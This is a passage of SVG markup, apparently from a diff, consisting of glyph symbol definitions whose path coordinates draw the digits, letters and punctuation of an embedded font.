-9 L 2.671875 -8.296875 L 1.4375 -7.296875 L 0.875 -7.953125 L 3.546875 -10.453125 L 4.09375 -10.453125 L 4.09375 -0.984375 L 5.6875 -0.984375 L 5.6875 0 L 1.375 0 Z M 1.375 -0.984375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-18"> +<path style="stroke:none;" d="M 5.40625 -8.03125 C 5.40625 -7.488281 5.320312 -6.921875 5.15625 -6.328125 C 5 -5.742188 4.796875 -5.164062 4.546875 -4.59375 C 4.296875 -4.019531 4.015625 -3.46875 3.703125 -2.9375 C 3.398438 -2.414062 3.097656 -1.953125 2.796875 -1.546875 L 2.21875 -0.890625 L 2.21875 -0.84375 L 3 -0.984375 L 5.5625 -0.984375 L 5.5625 0 L 0.8125 0 L 0.8125 -0.46875 C 0.988281 -0.695312 1.195312 -0.976562 1.4375 -1.3125 C 1.6875 -1.65625 1.941406 -2.03125 2.203125 -2.4375 C 2.460938 -2.84375 2.71875 -3.273438 2.96875 -3.734375 C 3.21875 -4.191406 3.441406 -4.65625 3.640625 -5.125 C 3.835938 -5.59375 3.992188 -6.054688 4.109375 -6.515625 C 4.234375 -6.972656 4.296875 -7.410156 4.296875 -7.828125 C 4.296875 -8.328125 4.179688 -8.722656 3.953125 -9.015625 C 3.722656 -9.316406 3.390625 -9.46875 2.953125 -9.46875 C 2.671875 -9.46875 2.394531 -9.414062 2.125 -9.3125 C 1.851562 -9.207031 1.617188 -9.078125 1.421875 -8.921875 L 1.015625 -9.703125 C 1.273438 -9.929688 1.59375 -10.113281 1.96875 -10.25 C 2.351562 -10.382812 2.757812 -10.453125 3.1875 -10.453125 C 3.90625 -10.453125 4.453125 -10.226562 4.828125 -9.78125 C 5.210938 -9.332031 5.40625 -8.75 5.40625 -8.03125 Z M 5.40625 -8.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-19"> +<path style="stroke:none;" d="M 6.03125 -7.9375 C 6.03125 -7.6875 6 -7.429688 5.9375 -7.171875 C 5.882812 -6.921875 5.789062 -6.679688 5.65625 -6.453125 C 5.53125 -6.234375 5.375 -6.035156 5.1875 -5.859375 C 5 -5.679688 4.765625 -5.546875 4.484375 -5.453125 L 4.484375 -5.40625 C 4.722656 -5.351562 4.945312 -5.269531 5.15625 -5.15625 C 5.375 -5.039062 5.566406 -4.882812 5.734375 -4.6875 C 5.898438 -4.488281 6.03125 -4.242188 6.125 -3.953125 C 6.226562 -3.660156 6.28125 -3.316406 6.28125 -2.921875 C 6.28125 -2.390625 6.195312 -1.929688 6.03125 -1.546875 C 5.863281 -1.160156 5.632812 -0.84375 5.34375 -0.59375 C 5.0625 -0.351562 4.726562 -0.171875 4.34375 -0.046875 C 3.96875 0.0664062 3.570312 0.125 3.15625 0.125 C 3.019531 0.125 2.859375 0.125 2.671875 0.125 C 2.492188 0.125 2.300781 0.113281 2.09375 0.09375 C 1.894531 0.0820312 1.691406 0.0625 1.484375 0.03125 C 1.285156 0.0078125 1.101562 -0.0234375 0.9375 -0.078125 L 0.9375 -10.1875 C 1.226562 -10.238281 1.570312 -10.285156 1.96875 -10.328125 C 2.363281 -10.367188 2.789062 -10.390625 3.25 -10.390625 C 3.582031 -10.390625 3.914062 -10.359375 4.25 -10.296875 C 4.582031 -10.234375 4.878906 -10.113281 5.140625 -9.9375 C 5.410156 -9.757812 5.625 -9.507812 5.78125 -9.1875 C 5.945312 -8.875 6.03125 -8.457031 6.03125 -7.9375 Z M 3.25 -0.890625 C 3.507812 -0.890625 3.75 -0.929688 3.96875 -1.015625 C 4.195312 -1.097656 4.394531 -1.222656 4.5625 -1.390625 C 4.738281 -1.554688 4.875 -1.757812 4.96875 -2 C 5.070312 -2.238281 5.125 -2.519531 5.125 -2.84375 C 5.125 -3.25 5.0625 -3.578125 4.9375 -3.828125 C 4.8125 -4.078125 4.648438 -4.269531 4.453125 -4.40625 C 4.265625 -4.539062 4.046875 -4.628906 3.796875 -4.671875 C 3.546875 -4.722656 3.285156 -4.75 3.015625 -4.75 L 2.046875 -4.75 L 2.046875 -1 C 2.097656 -0.976562 2.171875 -0.960938 2.265625 -0.953125 C 2.359375 -0.941406 2.460938 -0.929688 2.578125 -0.921875 C 2.691406 -0.910156 2.804688 -0.898438 2.921875 -0.890625 C 3.035156 -0.890625 3.144531 -0.890625 3.25 -0.890625 Z M 2.640625 -5.703125 C 2.773438 -5.703125 2.929688 -5.707031 3.109375 -5.71875 C 3.285156 -5.726562 3.429688 -5.742188 3.546875 -5.765625 C 3.910156 -5.910156 4.222656 -6.144531 4.484375 -6.46875 C 4.742188 -6.800781 4.875 -7.207031 4.875 -7.6875 C 4.875 -8.007812 4.828125 -8.28125 4.734375 -8.5 C 4.648438 -8.71875 4.53125 -8.890625 4.375 -9.015625 C 4.226562 -9.148438 4.050781 -9.242188 3.84375 -9.296875 C 3.632812 -9.347656 3.421875 -9.375 3.203125 -9.375 C 2.941406 -9.375 2.707031 -9.363281 2.5 -9.34375 C 2.300781 -9.332031 2.148438 -9.316406 2.046875 -9.296875 L 2.046875 -5.703125 Z M 2.640625 -5.703125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-20"> +<path style="stroke:none;" d="M 2.46875 -3.296875 L 1.921875 -3.296875 L 1.921875 0 L 0.859375 0 L 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -4.015625 L 2.40625 -4.21875 L 4.125 -7.328125 L 5.34375 -7.328125 L 3.609375 -4.375 L 3.09375 -3.90625 L 3.703125 -3.328125 L 5.59375 0 L 4.3125 0 Z M 2.46875 -3.296875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-21"> +<path style="stroke:none;" d="M 0.40625 -6.640625 L 1.140625 -6.640625 C 1.242188 -7.359375 1.394531 -7.953125 1.59375 -8.421875 C 1.800781 -8.890625 2.050781 -9.269531 2.34375 -9.5625 C 2.632812 -9.863281 2.957031 -10.085938 3.3125 -10.234375 C 3.675781 -10.378906 4.054688 -10.453125 4.453125 -10.453125 C 4.859375 -10.453125 5.203125 -10.421875 5.484375 -10.359375 C 5.773438 -10.304688 6.035156 -10.226562 6.265625 -10.125 L 5.96875 -9.15625 C 5.78125 -9.238281 5.566406 -9.304688 5.328125 -9.359375 C 5.097656 -9.410156 4.816406 -9.4375 4.484375 -9.4375 C 4.222656 -9.4375 3.972656 -9.382812 3.734375 -9.28125 C 3.503906 -9.1875 3.289062 -9.035156 3.09375 -8.828125 C 2.894531 -8.617188 2.722656 -8.34375 2.578125 -8 C 2.429688 -7.65625 2.320312 -7.203125 2.25 -6.640625 L 5.515625 -6.640625 L 5.296875 -5.71875 L 2.15625 -5.71875 C 2.144531 -5.644531 2.140625 -5.546875 2.140625 -5.421875 C 2.140625 -5.304688 2.140625 -5.210938 2.140625 -5.140625 C 2.140625 -5.035156 2.140625 -4.953125 2.140625 -4.890625 C 2.140625 -4.835938 2.144531 -4.769531 2.15625 -4.6875 L 5.0625 -4.6875 L 4.84375 -3.765625 L 2.234375 -3.765625 C 2.367188 -2.742188 2.640625 -2 3.046875 -1.53125 C 3.460938 -1.070312 3.992188 -0.84375 4.640625 -0.84375 C 5.253906 -0.84375 5.753906 -0.976562 6.140625 -1.25 L 6.375 -0.359375 C 6.144531 -0.171875 5.851562 -0.0351562 5.5 0.046875 C 5.144531 0.128906 4.789062 0.171875 4.4375 0.171875 C 3.53125 0.171875 2.785156 -0.132812 2.203125 -0.75 C 1.628906 -1.363281 1.265625 -2.367188 1.109375 -3.765625 L 0.171875 -3.765625 L 0.40625 -4.6875 L 1.046875 -4.6875 L 1.046875 -5.140625 C 1.046875 -5.210938 1.046875 -5.304688 1.046875 -5.421875 C 1.046875 -5.546875 1.050781 -5.644531 1.0625 -5.71875 L 0.171875 -5.71875 Z M 0.40625 -6.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-22"> +<path style="stroke:none;" d="M 0.84375 -2.375 C 0.84375 -3.03125 0.976562 -3.585938 1.25 -4.046875 C 1.519531 -4.503906 1.921875 -4.921875 2.453125 -5.296875 C 2.253906 -5.441406 2.066406 -5.59375 1.890625 -5.75 C 1.722656 -5.914062 1.578125 -6.097656 1.453125 -6.296875 C 1.328125 -6.503906 1.226562 -6.734375 1.15625 -6.984375 C 1.082031 -7.242188 1.046875 -7.539062 1.046875 -7.875 C 1.046875 -8.664062 1.25 -9.289062 1.65625 -9.75 C 2.070312 -10.21875 2.644531 -10.453125 3.375 -10.453125 C 4.050781 -10.453125 4.585938 -10.242188 4.984375 -9.828125 C 5.378906 -9.410156 5.578125 -8.835938 5.578125 -8.109375 C 5.578125 -7.554688 5.46875 -7.0625 5.25 -6.625 C 5.039062 -6.195312 4.703125 -5.78125 4.234375 -5.375 C 4.441406 -5.226562 4.640625 -5.066406 4.828125 -4.890625 C 5.015625 -4.710938 5.175781 -4.515625 5.3125 -4.296875 C 5.457031 -4.078125 5.566406 -3.828125 5.640625 -3.546875 C 5.722656 -3.265625 5.765625 -2.941406 5.765625 -2.578125 C 5.765625 -1.742188 5.539062 -1.078125 5.09375 -0.578125 C 4.65625 -0.078125 4.039062 0.171875 3.25 0.171875 C 2.863281 0.171875 2.523438 0.109375 2.234375 -0.015625 C 1.941406 -0.140625 1.691406 -0.3125 1.484375 -0.53125 C 1.273438 -0.757812 1.113281 -1.03125 1 -1.34375 C 0.894531 -1.65625 0.84375 -2 0.84375 -2.375 Z M 3.140625 -4.890625 C 2.691406 -4.554688 2.363281 -4.179688 2.15625 -3.765625 C 1.957031 -3.359375 1.859375 -2.945312 1.859375 -2.53125 C 1.859375 -2.039062 1.976562 -1.625 2.21875 -1.28125 C 2.46875 -0.945312 2.828125 -0.78125 3.296875 -0.78125 C 3.679688 -0.78125 4.007812 -0.914062 4.28125 -1.1875 C 4.5625 -1.46875 4.703125 -1.914062 4.703125 -2.53125 C 4.703125 -2.832031 4.660156 -3.097656 4.578125 -3.328125 C 4.492188 -3.566406 4.375 -3.773438 4.21875 -3.953125 C 4.070312 -4.128906 3.90625 -4.296875 3.71875 -4.453125 C 3.539062 -4.609375 3.347656 -4.753906 3.140625 -4.890625 Z M 3.53125 -5.75 C 3.863281 -6.082031 4.117188 -6.414062 4.296875 -6.75 C 4.472656 -7.09375 4.5625 -7.46875 4.5625 -7.875 C 4.5625 -8.414062 4.441406 -8.820312 4.203125 -9.09375 C 3.960938 -9.363281 3.679688 -9.5 3.359375 -9.5 C 3.148438 -9.5 2.960938 -9.457031 2.796875 -9.375 C 2.640625 -9.289062 2.507812 -9.171875 2.40625 -9.015625 C 2.300781 -8.867188 2.21875 -8.703125 2.15625 -8.515625 C 2.09375 -8.328125 2.0625 -8.125 2.0625 -7.90625 C 2.0625 -7.644531 2.097656 -7.40625 2.171875 -7.1875 C 2.253906 -6.976562 2.363281 -6.789062 2.5 -6.625 C 2.644531 -6.457031 2.804688 -6.300781 2.984375 -6.15625 C 3.160156 -6.007812 3.34375 -5.875 3.53125 -5.75 Z M 3.53125 -5.75 "/> +</symbol> +<symbol overflow="visible" id="glyph1-23"> +<path style="stroke:none;" d="M 0.5625 -5.140625 C 0.5625 -6.078125 0.617188 -6.878906 0.734375 -7.546875 C 0.847656 -8.222656 1.019531 -8.773438 1.25 -9.203125 C 1.488281 -9.628906 1.78125 -9.941406 2.125 -10.140625 C 2.46875 -10.347656 2.859375 -10.453125 3.296875 -10.453125 C 3.765625 -10.453125 4.171875 -10.347656 4.515625 -10.140625 C 4.867188 -9.941406 5.15625 -9.628906 5.375 -9.203125 C 5.601562 -8.773438 5.769531 -8.222656 5.875 -7.546875 C 5.988281 -6.878906 6.046875 -6.078125 6.046875 -5.140625 C 6.046875 -4.191406 5.984375 -3.378906 5.859375 -2.703125 C 5.742188 -2.035156 5.566406 -1.488281 5.328125 -1.0625 C 5.097656 -0.632812 4.8125 -0.320312 4.46875 -0.125 C 4.132812 0.0703125 3.75 0.171875 3.3125 0.171875 C 2.832031 0.171875 2.421875 0.0703125 2.078125 -0.125 C 1.734375 -0.332031 1.445312 -0.648438 1.21875 -1.078125 C 0.988281 -1.515625 0.820312 -2.066406 0.71875 -2.734375 C 0.613281 -3.398438 0.5625 -4.203125 0.5625 -5.140625 Z M 1.65625 -5.140625 C 1.65625 -3.734375 1.785156 -2.65625 2.046875 -1.90625 C 2.316406 -1.15625 2.742188 -0.78125 3.328125 -0.78125 C 3.898438 -0.78125 4.3125 -1.125 4.5625 -1.8125 C 4.820312 -2.5 4.953125 -3.609375 4.953125 -5.140625 C 4.953125 -6.523438 4.828125 -7.597656 4.578125 -8.359375 C 4.328125 -9.117188 3.898438 -9.5 3.296875 -9.5 C 2.734375 -9.5 2.316406 -9.15625 2.046875 -8.46875 C 1.785156 -7.78125 1.65625 -6.671875 1.65625 -5.140625 Z M 1.65625 -5.140625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-24"> +<path style="stroke:none;" d="M 0.578125 -0.65625 C 0.578125 -0.9375 0.640625 -1.144531 0.765625 -1.28125 C 0.898438 -1.414062 1.082031 -1.484375 1.3125 -1.484375 C 1.53125 -1.484375 1.707031 -1.414062 1.84375 -1.28125 C 1.976562 -1.144531 2.046875 -0.9375 2.046875 -0.65625 C 2.046875 -0.375 1.976562 -0.164062 1.84375 -0.03125 C 1.707031 0.101562 1.53125 0.171875 1.3125 0.171875 C 1.082031 0.171875 0.898438 0.101562 0.765625 -0.03125 C 0.640625 -0.164062 0.578125 -0.375 0.578125 -0.65625 Z M 0.578125 -0.65625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-25"> +<path style="stroke:none;" d="M 5.515625 -7.328125 L 5.515625 0 L 4.453125 0 L 4.453125 -6.375 L 2.1875 -6.375 L 2.1875 0 L 1.125 0 L 1.125 -6.375 L 0.234375 -6.375 L 0.234375 -7.328125 L 1.125 -7.328125 L 1.125 -7.75 C 1.125 -8.664062 1.3125 -9.332031 1.6875 -9.75 C 2.0625 -10.164062 2.601562 -10.375 3.3125 -10.375 C 3.789062 -10.375 4.207031 -10.328125 4.5625 -10.234375 C 4.925781 -10.140625 5.21875 -10.035156 5.4375 -9.921875 L 5.109375 -9.03125 C 4.867188 -9.175781 4.601562 -9.273438 4.3125 -9.328125 C 4.03125 -9.390625 3.734375 -9.421875 3.421875 -9.421875 C 3.140625 -9.421875 2.921875 -9.375 2.765625 -9.28125 C 2.609375 -9.1875 2.484375 -9.046875 2.390625 -8.859375 C 2.304688 -8.679688 2.25 -8.460938 2.21875 -8.203125 C 2.195312 -7.941406 2.1875 -7.648438 2.1875 -7.328125 Z M 5.515625 -7.328125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-26"> +<path style="stroke:none;" d="M 2.359375 -3.75 L 0.421875 -7.328125 L 1.6875 -7.328125 L 2.765625 -5.234375 L 3.0625 -4.421875 L 3.375 -5.234375 L 4.484375 -7.328125 L 5.65625 -7.328125 L 3.703125 -3.8125 L 5.765625 0 L 4.5625 0 L 3.328125 -2.296875 L 3 -3.1875 L 2.671875 -2.296875 L 1.4375 0 L 0.28125 0 Z M 2.359375 -3.75 "/> +</symbol> +<symbol overflow="visible" id="glyph1-27"> +<path style="stroke:none;" d="M 1.359375 -1.109375 C 1.546875 -1.003906 1.757812 -0.921875 2 -0.859375 C 2.238281 -0.804688 2.515625 -0.78125 2.828125 -0.78125 C 3.097656 -0.78125 3.34375 -0.832031 3.5625 -0.9375 C 3.78125 -1.039062 3.96875 -1.191406 4.125 -1.390625 C 4.289062 -1.585938 4.414062 -1.820312 4.5 -2.09375 C 4.59375 -2.363281 4.640625 -2.660156 4.640625 -2.984375 C 4.640625 -3.703125 4.476562 -4.226562 4.15625 -4.5625 C 3.84375 -4.894531 3.398438 -5.0625 2.828125 -5.0625 L 1.953125 -5.0625 L 1.953125 -5.484375 L 3.65625 -8.78125 L 4.21875 -9.390625 L 3.421875 -9.28125 L 1.109375 -9.28125 L 1.109375 -10.265625 L 5.375 -10.265625 L 5.375 -9.84375 L 3.484375 -6.34375 L 3.046875 -5.90625 L 3.046875 -5.890625 L 3.484375 -5.96875 C 3.785156 -5.96875 4.070312 -5.90625 4.34375 -5.78125 C 4.613281 -5.664062 4.847656 -5.488281 5.046875 -5.25 C 5.242188 -5.007812 5.398438 -4.710938 5.515625 -4.359375 C 5.628906 -4.003906 5.6875 -3.59375 5.6875 -3.125 C 5.6875 -2.59375 5.609375 -2.117188 5.453125 -1.703125 C 5.304688 -1.296875 5.101562 -0.953125 4.84375 -0.671875 C 4.582031 -0.398438 4.28125 -0.191406 3.9375 -0.046875 C 3.59375 0.0976562 3.222656 0.171875 2.828125 0.171875 C 2.484375 0.171875 2.160156 0.140625 1.859375 0.078125 C 1.554688 0.0234375 1.296875 -0.0507812 1.078125 -0.15625 Z M 1.359375 -1.109375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-28"> +<path style="stroke:none;" d="M 5.828125 -4.734375 L 2.046875 -4.734375 L 2.046875 0 L 0.9375 0 L 0.9375 -10.265625 L 2.046875 -10.265625 L 2.046875 -5.75 L 5.828125 -5.75 L 5.828125 -10.265625 L 6.921875 -10.265625 L 6.921875 0 L 5.828125 0 Z M 5.828125 -4.734375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-29"> +<path style="stroke:none;" d="M 2 -1.75 C 2 -1.40625 2.046875 -1.160156 2.140625 -1.015625 C 2.234375 -0.867188 2.363281 -0.796875 2.53125 -0.796875 C 2.726562 -0.796875 2.96875 -0.847656 3.25 -0.953125 L 3.34375 -0.109375 C 3.21875 -0.0234375 3.039062 0.0351562 2.8125 0.078125 C 2.582031 0.128906 2.375 0.15625 2.1875 0.15625 C 1.8125 0.15625 1.507812 0.0390625 1.28125 -0.1875 C 1.050781 -0.414062 0.9375 -0.816406 0.9375 -1.390625 L 0.9375 -10.265625 L 2 -10.265625 Z M 2 -1.75 "/> +</symbol> +<symbol overflow="visible" id="glyph1-30"> +<path style="stroke:none;" d="M 0.671875 -7.15625 C 0.671875 -8.175781 0.890625 -8.976562 1.328125 -9.5625 C 1.765625 -10.15625 2.410156 -10.453125 3.265625 -10.453125 C 4.085938 -10.453125 4.726562 -10.144531 5.1875 -9.53125 C 5.644531 -8.925781 5.875 -8 5.875 -6.75 C 5.875 -5.644531 5.769531 -4.679688 5.5625 -3.859375 C 5.351562 -3.046875 5.066406 -2.359375 4.703125 -1.796875 C 4.347656 -1.234375 3.925781 -0.789062 3.4375 -0.46875 C 2.945312 -0.144531 2.414062 0.0664062 1.84375 0.171875 L 1.5625 -0.6875 C 2.507812 -0.9375 3.238281 -1.425781 3.75 -2.15625 C 4.269531 -2.894531 4.597656 -3.820312 4.734375 -4.9375 C 4.535156 -4.65625 4.3125 -4.457031 4.0625 -4.34375 C 3.8125 -4.226562 3.476562 -4.171875 3.0625 -4.171875 C 2.75 -4.171875 2.445312 -4.226562 2.15625 -4.34375 C 1.875 -4.46875 1.625 -4.65625 1.40625 -4.90625 C 1.1875 -5.15625 1.007812 -5.46875 0.875 -5.84375 C 0.738281 -6.21875 0.671875 -6.65625 0.671875 -7.15625 Z M 1.75 -7.28125 C 1.75 -6.582031 1.890625 -6.046875 2.171875 -5.671875 C 2.453125 -5.304688 2.828125 -5.125 3.296875 -5.125 C 3.671875 -5.125 3.988281 -5.203125 4.25 -5.359375 C 4.507812 -5.523438 4.695312 -5.734375 4.8125 -5.984375 C 4.832031 -6.109375 4.84375 -6.226562 4.84375 -6.34375 C 4.84375 -6.46875 4.84375 -6.582031 4.84375 -6.6875 C 4.84375 -7.0625 4.8125 -7.414062 4.75 -7.75 C 4.6875 -8.09375 4.585938 -8.390625 4.453125 -8.640625 C 4.316406 -8.898438 4.144531 -9.109375 3.9375 -9.265625 C 3.738281 -9.421875 3.5 -9.5 3.21875 -9.5 C 2.757812 -9.5 2.398438 -9.296875 2.140625 -8.890625 C 1.878906 -8.492188 1.75 -7.957031 1.75 -7.28125 Z M 1.75 -7.28125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-31"> +<path style="stroke:none;" d="M 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -6.78125 L 1.96875 -6.78125 C 2.363281 -7.269531 2.894531 -7.515625 3.5625 -7.515625 C 4.3125 -7.515625 4.875 -7.210938 5.25 -6.609375 C 5.632812 -6.015625 5.828125 -5.070312 5.828125 -3.78125 C 5.828125 -2.457031 5.570312 -1.472656 5.0625 -0.828125 C 4.5625 -0.191406 3.851562 0.125 2.9375 0.125 C 2.488281 0.125 2.078125 0.078125 1.703125 -0.015625 C 1.328125 -0.117188 1.046875 -0.238281 0.859375 -0.375 Z M 1.921875 -1.078125 C 2.054688 -0.992188 2.222656 -0.929688 2.421875 -0.890625 C 2.628906 -0.847656 2.84375 -0.828125 3.0625 -0.828125 C 3.570312 -0.828125 3.972656 -1.066406 4.265625 -1.546875 C 4.566406 -2.035156 4.71875 -2.78125 4.71875 -3.78125 C 4.71875 -4.207031 4.691406 -4.585938 4.640625 -4.921875 C 4.585938 -5.253906 4.503906 -5.539062 4.390625 -5.78125 C 4.273438 -6.03125 4.128906 -6.222656 3.953125 -6.359375 C 3.773438 -6.492188 3.554688 -6.5625 3.296875 -6.5625 C 2.941406 -6.5625 2.648438 -6.453125 2.421875 -6.234375 C 2.191406 -6.023438 2.023438 -5.742188 1.921875 -5.390625 Z M 1.921875 -1.078125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-32"> +<path style="stroke:none;" d="M 5.9375 -3.09375 C 5.925781 -2.601562 5.863281 -2.15625 5.75 -1.75 C 5.644531 -1.34375 5.484375 -1 5.265625 -0.71875 C 5.046875 -0.4375 4.773438 -0.21875 4.453125 -0.0625 C 4.128906 0.09375 3.769531 0.171875 3.375 0.171875 C 2.550781 0.171875 1.90625 -0.125 1.4375 -0.71875 C 0.976562 -1.3125 0.75 -2.222656 0.75 -3.453125 C 0.75 -4.484375 0.851562 -5.40625 1.0625 -6.21875 C 1.269531 -7.03125 1.554688 -7.726562 1.921875 -8.3125 C 2.285156 -8.90625 2.710938 -9.378906 3.203125 -9.734375 C 3.691406 -10.085938 4.210938 -10.328125 4.765625 -10.453125 L 5.0625 -9.59375 C 4.625 -9.476562 4.222656 -9.28125 3.859375 -9 C 3.492188 -8.726562 3.175781 -8.394531 2.90625 -8 C 2.632812 -7.613281 2.40625 -7.175781 2.21875 -6.6875 C 2.039062 -6.195312 1.914062 -5.675781 1.84375 -5.125 C 1.976562 -5.382812 2.191406 -5.613281 2.484375 -5.8125 C 2.785156 -6.007812 3.15625 -6.109375 3.59375 -6.109375 C 4.300781 -6.109375 4.863281 -5.859375 5.28125 -5.359375 C 5.707031 -4.859375 5.925781 -4.101562 5.9375 -3.09375 Z M 4.875 -3 C 4.875 -4.4375 4.351562 -5.15625 3.3125 -5.15625 C 2.945312 -5.15625 2.628906 -5.035156 2.359375 -4.796875 C 2.097656 -4.566406 1.910156 -4.300781 1.796875 -4 C 1.785156 -3.875 1.78125 -3.75 1.78125 -3.625 C 1.78125 -3.507812 1.785156 -3.394531 1.796875 -3.28125 C 1.785156 -2.957031 1.8125 -2.644531 1.875 -2.34375 C 1.9375 -2.050781 2.03125 -1.785156 2.15625 -1.546875 C 2.289062 -1.316406 2.457031 -1.128906 2.65625 -0.984375 C 2.863281 -0.847656 3.101562 -0.78125 3.375 -0.78125 C 3.8125 -0.78125 4.171875 -0.972656 4.453125 -1.359375 C 4.734375 -1.753906 4.875 -2.300781 4.875 -3 Z M 4.875 -3 "/> +</symbol> +<symbol overflow="visible" id="glyph1-33"> +<path style="stroke:none;" d="M 6.328125 -3.15625 L 4.953125 -3.15625 L 4.953125 0 L 3.90625 0 L 3.90625 -3.15625 L 0.296875 -3.15625 L 0.296875 -3.65625 L 4.1875 -10.4375 L 4.953125 -10.4375 L 4.953125 -4.109375 L 6.328125 -4.109375 Z M 3.90625 -7.390625 L 4.078125 -8.65625 L 4.03125 -8.65625 L 3.59375 -7.53125 L 1.984375 -4.71875 L 1.421875 -4 L 2.234375 -4.109375 L 3.90625 -4.109375 Z M 3.90625 -7.390625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-34"> +<path style="stroke:none;" d="M 1.359375 -10.265625 L 2.46875 -10.265625 L 2.46875 -2.296875 C 2.46875 -1.492188 2.335938 -0.882812 2.078125 -0.46875 C 1.816406 -0.0625 1.363281 0.140625 0.71875 0.140625 C 0.5625 0.140625 0.375 0.117188 0.15625 0.078125 C -0.0625 0.046875 -0.238281 -0.0078125 -0.375 -0.09375 L -0.140625 -1.046875 C -0.046875 -0.984375 0.0546875 -0.9375 0.171875 -0.90625 C 0.296875 -0.875 0.425781 -0.859375 0.5625 -0.859375 C 0.738281 -0.859375 0.878906 -0.894531 0.984375 -0.96875 C 1.085938 -1.050781 1.171875 -1.164062 1.234375 -1.3125 C 1.296875 -1.457031 1.332031 -1.628906 1.34375 -1.828125 C 1.351562 -2.023438 1.359375 -2.253906 1.359375 -2.515625 Z M 1.359375 -10.265625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-35"> +<path style="stroke:none;" d="M 5.234375 -10.265625 L 5.234375 -9.25 L 2.453125 -9.25 L 2.453125 -6.25 L 2.953125 -6.296875 C 3.734375 -6.285156 4.347656 -6.015625 4.796875 -5.484375 C 5.242188 -4.953125 5.472656 -4.195312 5.484375 -3.21875 C 5.472656 -2.664062 5.390625 -2.175781 5.234375 -1.75 C 5.085938 -1.332031 4.878906 -0.976562 4.609375 -0.6875 C 4.347656 -0.40625 4.039062 -0.191406 3.6875 -0.046875 C 3.34375 0.0976562 2.96875 0.171875 2.5625 0.171875 C 1.894531 0.171875 1.351562 0.078125 0.9375 -0.109375 L 1.203125 -1.046875 C 1.378906 -0.953125 1.570312 -0.890625 1.78125 -0.859375 C 2 -0.828125 2.25 -0.8125 2.53125 -0.8125 C 3.09375 -0.8125 3.546875 -1.015625 3.890625 -1.421875 C 4.242188 -1.828125 4.425781 -2.394531 4.4375 -3.125 C 4.425781 -3.875 4.242188 -4.429688 3.890625 -4.796875 C 3.546875 -5.160156 3.066406 -5.34375 2.453125 -5.34375 L 1.484375 -5.265625 L 1.484375 -10.265625 Z M 5.234375 -10.265625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-36"> +<path style="stroke:none;" d="M 4.78125 -7.328125 L 6.09375 -3.046875 L 6.359375 -1.640625 L 6.375 -1.640625 L 6.609375 -3.078125 L 7.59375 -7.328125 L 8.59375 -7.328125 L 6.640625 0.15625 L 6.046875 0.15625 L 4.5625 -4.65625 L 4.359375 -5.890625 L 4.328125 -5.890625 L 4.125 -4.640625 L 2.6875 0.15625 L 2.078125 0.15625 L 0.078125 -7.328125 L 1.203125 -7.328125 L 2.328125 -3.0625 L 2.515625 -1.640625 L 2.53125 -1.640625 L 2.796875 -3.09375 L 4 -7.328125 Z M 4.78125 -7.328125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-37"> +<path style="stroke:none;" d="M 1.0625 -10.265625 L 2.0625 -10.265625 L 1.6875 -7.4375 L 1.0625 -7.4375 Z M 1.0625 -10.265625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-38"> +<path style="stroke:none;" d="M 1.390625 0 L 4.359375 -8.671875 L 4.890625 -9.390625 L 4.1875 -9.265625 L 0.828125 -9.265625 L 0.828125 -10.265625 L 5.828125 -10.265625 L 5.828125 -9.875 L 2.453125 0 Z M 1.390625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-39"> +<path style="stroke:none;" d="M 1.125 -6.5625 C 1.125 -6.84375 1.1875 -7.050781 1.3125 -7.1875 C 1.445312 -7.320312 1.628906 -7.390625 1.859375 -7.390625 C 2.078125 -7.390625 2.253906 -7.320312 2.390625 -7.1875 C 2.523438 -7.050781 2.59375 -6.84375 2.59375 -6.5625 C 2.59375 -6.28125 2.523438 -6.070312 2.390625 -5.9375 C 2.253906 -5.800781 2.078125 -5.734375 1.859375 -5.734375 C 1.628906 -5.734375 1.445312 -5.800781 1.3125 -5.9375 C 1.1875 -6.070312 1.125 -6.28125 1.125 -6.5625 Z M 1.125 -0.65625 C 1.125 -0.9375 1.1875 -1.144531 1.3125 -1.28125 C 1.445312 -1.414062 1.628906 -1.484375 1.859375 -1.484375 C 2.078125 -1.484375 2.253906 -1.414062 2.390625 -1.28125 C 2.523438 -1.144531 2.59375 -0.9375 2.59375 -0.65625 C 2.59375 -0.375 2.523438 -0.164062 2.390625 -0.03125 C 2.253906 0.101562 2.078125 0.171875 1.859375 0.171875 C 1.628906 0.171875 1.445312 0.101562 1.3125 -0.03125 C 1.1875 -0.164062 1.125 -0.375 1.125 -0.65625 Z M 1.125 -0.65625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-40"> +<path style="stroke:none;" d="M 0.53125 -0.625 C 0.53125 -0.875 0.597656 -1.070312 0.734375 -1.21875 C 0.878906 -1.363281 1.066406 -1.4375 1.296875 -1.4375 C 1.546875 -1.4375 1.75 -1.332031 1.90625 -1.125 C 2.070312 -0.925781 2.15625 -0.601562 2.15625 -0.15625 C 2.15625 0.164062 2.113281 0.453125 2.03125 0.703125 C 1.945312 0.960938 1.835938 1.191406 1.703125 1.390625 C 1.578125 1.585938 1.4375 1.75 1.28125 1.875 C 1.125 2 0.972656 2.09375 0.828125 2.15625 L 0.453125 1.65625 C 0.578125 1.59375 0.695312 1.503906 0.8125 1.390625 C 0.925781 1.273438 1.019531 1.148438 1.09375 1.015625 C 1.164062 0.878906 1.222656 0.734375 1.265625 0.578125 C 1.304688 0.429688 1.328125 0.28125 1.328125 0.125 C 1.128906 0.1875 0.945312 0.148438 0.78125 0.015625 C 0.613281 -0.117188 0.53125 -0.332031 0.53125 -0.625 Z M 0.53125 -0.625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-41"> +<path style="stroke:none;" d="M 1.8125 